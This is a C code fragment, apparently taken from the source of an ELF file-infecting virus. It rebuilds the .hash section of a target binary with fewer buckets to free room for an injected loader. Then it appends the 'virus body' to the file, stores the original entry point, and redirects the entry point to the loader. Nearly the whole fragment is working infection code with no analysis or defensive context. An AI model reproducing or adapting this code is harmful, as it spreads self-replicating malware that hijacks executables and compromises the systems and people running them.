	unsigned long elf_hash(const unsigned char *name) {
		unsigned long h = 0, g;
		while (*name) {
			h = (h << 4) + *name++;
			if (g = h & 0xf0000000)
				h ^= g >> 24;
			h &= ~g;
		}
		return h;
	}
	void build_hash(uint32_t *hash, int nbuckets, int nchains, Elf32_Sym *sym, char *str) {
		uint32_t i, h, *buckets, *chains;
		buckets = hash + 2;
		chains  = buckets + nbuckets;
		hash[0] = nbuckets;
		hash[1] = nchains;
		for (i = 1; i < nchains; i++) {
			h = elf_hash(str + sym[i].st_name) % nbuckets;
			if (buckets[h] == 0)
				buckets[h] = i;
			else {
				h = buckets[h];
				while (chains[h] != 0)
					h = chains[h];
				chains[h] = i;
			}
		}
	}
	Elf32_Sym *sym = NULL;
	Elf32_Shdr *sh = NULL;
        char *str = NULL;

	/* find .hash section */
	for (i = 0; i < ehdr->e_shnum; i++)
		if (shdr[i].sh_type == SHT_HASH) {
			sh = &shdr[i];
			break;
		}
	if (sh == NULL)
		goto _unmap;

	/* find symbol table and strings */
	i = sh->sh_link;
	sym = (Elf32_Sym*)(m + shdr[i].sh_offset);
	i = shdr[i].sh_link;
	str = (char*)(m + shdr[i].sh_offset);

	/* rebuild hash */
	uint32_t *hash = (uint32_t*)(m + sh->sh_offset), nb = hash[0], nc = hash[1];
	if (((int)nb - (CSIZE + 3) / 4) < 1)
		goto _unmap;
	bzero(m + sh->sh_offset, (nb + nc + 2) * 4);
	nb -= (CSIZE + 3) / 4;
	build_hash(hash, nb, nc, sym, str);

	/* patch loader */
	uint32_t nl = (l + 4095) & 0xfffff000;
	*(uint32_t*)(g->loader + PATCH_OFFSET) = nl;
	
	/* write loader */
	i = (2 + nb + nc) * 4;
	memcpy(m + sh->sh_offset + i, g->loader, CSIZE);
	
	/* write virus body */
	ftruncate(h, nl);
	lseek(h, 0, 2);
	write(h, g->self, g->size);
	pwrite(h, &ehdr->e_entry, 4, nl + 10, 0);
	
	/* update entry point */
	ehdr->e_entry = sh->sh_addr + i;
